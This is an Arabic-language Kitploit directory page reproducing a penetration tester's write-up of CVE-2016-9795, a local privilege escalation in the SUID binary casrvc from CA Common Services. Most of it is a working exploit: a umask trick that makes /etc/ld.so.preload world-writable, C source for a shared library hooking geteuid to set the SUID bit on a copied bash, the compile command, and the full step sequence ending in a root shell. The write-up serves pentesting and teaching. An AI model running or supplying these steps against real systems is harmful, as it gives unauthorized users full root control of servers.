Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CA-Common-Services-privilege-escalation-cve-2016-9795-revisited — إعادة فحص تصعيد الامتيازات CVE-2016-9795 (ملف casrvc الثنائي من حزمة CA Common Services) | Kitploit
أدوات/GitHubGitHub/blogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائية
GitHubblogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited

CA-Common-Services-privilege-escalation-cve-2016-9795-revisited

إعادة فحص تصعيد الامتيازات CVE-2016-9795 (ملف casrvc الثنائي من حزمة CA Common Services)

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
2منذ 5 سنواتلم تتم المراجعة بعد

إعادة النظر في تصعيد الامتيازات في CA Common Services (CVE-2016-9795)

الوصف

في إحدى اختبارات الاختراق التي أجريتها، صادفتُ الثنائي casrvc بصلاحيات SUID (وهو جزء من حزمة CA Common Services). وكما اكتشفت، فإن هذا الثنائي عرضة لثغرة تصعيد امتيازات محلية. في الواقع، سبق أن نُسبت إلى هذه الثغرة CVE عامة (CVE-2016-9795) من قِبل مجموعة NCC.

الثغرة بسيطة حقاً، وكما اكتشفت لاحقاً، كشفت مجموعة NCC عن إثبات مفهوم (Proof-Of-Concept) في نشرة PDF الخاصة بها (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). ومع ذلك، وخلال مهمة اختبار الاختراق الخاصة بي، اخترت مسار استغلال مختلفاً، وهو بديل قابل للتطبيق في البداية، وربما أقل خطورة إذا نُفذ بشكل صحيح.

الثغرة

تكمن الثغرة في الثنائي casrvc بصلاحيات SUID، الذي يكشف ميزة تتيح للمستخدم اختيار اسم الملف (والمسار المطلق) الذي ستُكتب إليه السجلات. جزء من ملف السجل هذا يتحكم به المستخدم، لذا في النهاية يمنح هذا المستخدم غير المميز القدرة على كتابة عشوائية مُتحكم بها إلى حد ما.

كتابة عشوائية لملف الإخراج

root@kitploit:~
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"

مخرجات السجل

root@kitploit:~
[...]

2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**

إن إثبات المفهوم الموجود مسبقاً يكتفي بإلحاق مخرجات السجل بملف /etc/passwd من أجل إضافة إدخال مستخدم جديد ضمن مجموعة الجذر. قد تكون عملية الإلحاق بملف /etc/passwd أمراً محفوفاً بالمخاطر في بعض الأحيان، وفي حالتي أردت تجنب تعطيل الخادم بأي ثمن.

الاستغلال

تقنية الاستغلال ليست جديدة، وقد تناولها العديد من الباحثين الآخرين (بما في ذلك @dawid_golunski و@itm4n). وهي تنطبق على هذا الثنائي، وأتحدث عنها هنا لأغراض تعليمية.

المفهوم

تتمثل في الإلحاق بملف /etc/ld.so.preload أو إنشائه. هذا الملف، كما هو موصوف في دليل Linux man ld.so، يسمح بتعريف قائمة بأسماء المكتبات (سطر واحد لكل مكتبة) التي سيتم تحميلها في كل مرة يتم فيها تشغيل أي ثنائي.

root@kitploit:~
/etc/ld.so.preload
              File containing a whitespace-separated list of ELF shared objects to be  loaded  before
              the  program.   See  the  discussion  of  LD_PRELOAD  above.   If  both  LD_PRELOAD and
              /etc/ld.so.preload are employed, the libraries specified by  LD_PRELOAD  are  preloaded
              first.  /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
              be preloaded for all programs that are executed on the system.  (This is usually  unde‐
              sirable,  and is typically employed only as an emergency remedy, for example, as a tem‐
              porary workaround to a library misconfiguration issue.)

خصوصية هذا الملف هي أن المكتبات المُحمَّلة مسبقاً تُحمَّل من أجل كل برنامج يُنفَّذ على النظام، بما في ذلك برامج SUID. وهذا بالطبع ليس هو الحال بالنسبة لمتغير البيئة "LD_PRELOAD" الذي يمكن لأي مستخدم تعيينه لتحميل المكتبات مسبقاً في سياق جلسته.

الاستغلال

كتابة عشوائية

من أجل السيطرة الكاملة على محتوى الملف الذي يتم إنشاؤه، نستخدم أمر umask لتعيين قناع إنشاء وضع الملف. وبهذه الطريقة، عندما يتم إنشاء ملف السجل، سيكون لديه أذونات قراءة وكتابة للجميع.

root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov  4 15:44 /etc/ld.so.preload
ملاحظة

نحاول مسح محتوى الملف بسرعة كبيرة، لأنه بعد تنفيذ casrvc القابل للتنفيذ، لا يحتوي المحتوى على أي مكتبات .so صالحة، وسيؤدي ذلك إلى توليد رسائل خطأ في كل مرة يُشغَّل فيها أي برنامج على الكمبيوتر.

ملاحظة حول umask

في حالتنا هذه، تعمل الحيلة باستخدام umask. لكن في بعض الأحيان، تقوم البرامج القابلة للتنفيذ بتعيين قيمة umask بنفسها، وفي هذه الحالة يتم استبدال قيمة umask الخاصة بنا وتجاهلها.

إنشاء ملف مكتبة .so

بعد ذلك، نقوم بإنشاء ملف .so. فيما يلي الكود المصدري لملف .so هذا. وهو يقوم بثلاثة أشياء:

  • يستبدل دالة النظام geteuid
  • والتي ستضيف ببساطة بِت SUID إلى الثنائي في الموقع الذي نريده (في هذه الحالة "/tmp/root_shell")
  • ثم سيقوم بإزالة ملف ld.so.preload والمتابعة إلى التنفيذ الطبيعي لدالة geteuid الأصلية
root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>

uid_t geteuid(void) {
  static uid_t  (*old_geteuid)();
  old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  if ( old_geteuid() == 0 ) {
    chown("/tmp/root_shell", 0, 0);
    chmod("/tmp/root_shell", 06777);
    unlink("/etc/ld.so.preload");
  }
  return old_geteuid();
}

لترجمته، نكتفي بـ:

root@kitploit:~
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
ملاحظة

في الأوامر السابقة، نفترض أن قسم /tmp غير مُحمَّل بخصائص NOEXEC أو NOSUID.

تجميع كل الخطوات معاً

  1. ننسخ الثنائي /bin/bash إلى الموقع المطلوب
root@kitploit:~
cp /bin/bash /tmp/root_shell
  1. نشغّل الثنائي casrvc كما هو موصوف أعلاه من أجل الحصول على حقوق الكتابة إلى /etc/ld.so.preload
root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
  1. ننسخ مسار lib.so المُجمَّع إلى ملف /etc/ld.so.preload (لدينا بالفعل أذونات الكتابة إليه الآن)
root@kitploit:~
echo /tmp/lib.so > /etc/ld.so.preload
  1. نشغّل أي برنامج SUID يستدعي دالة geteuid (أي برنامج SUID مملوك للجذر سيكون مناسباً، على سبيل المثال "sudo")
root@kitploit:~
sudo
  1. استمتع بصدفة الجذر
root@kitploit:~
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)

المراجع

  • Nginx (توزيعات مبنية على دبيان + جنتو) - 'logrotate' تصعيد امتيازات محلي
  • CVE-2019-19544 - CA Dollar Universe 5.3.3 'uxdqmsrv' - تصعيد الامتيازات عبر ثنائي SUID قابل للاستغلال
تنزيل الأداة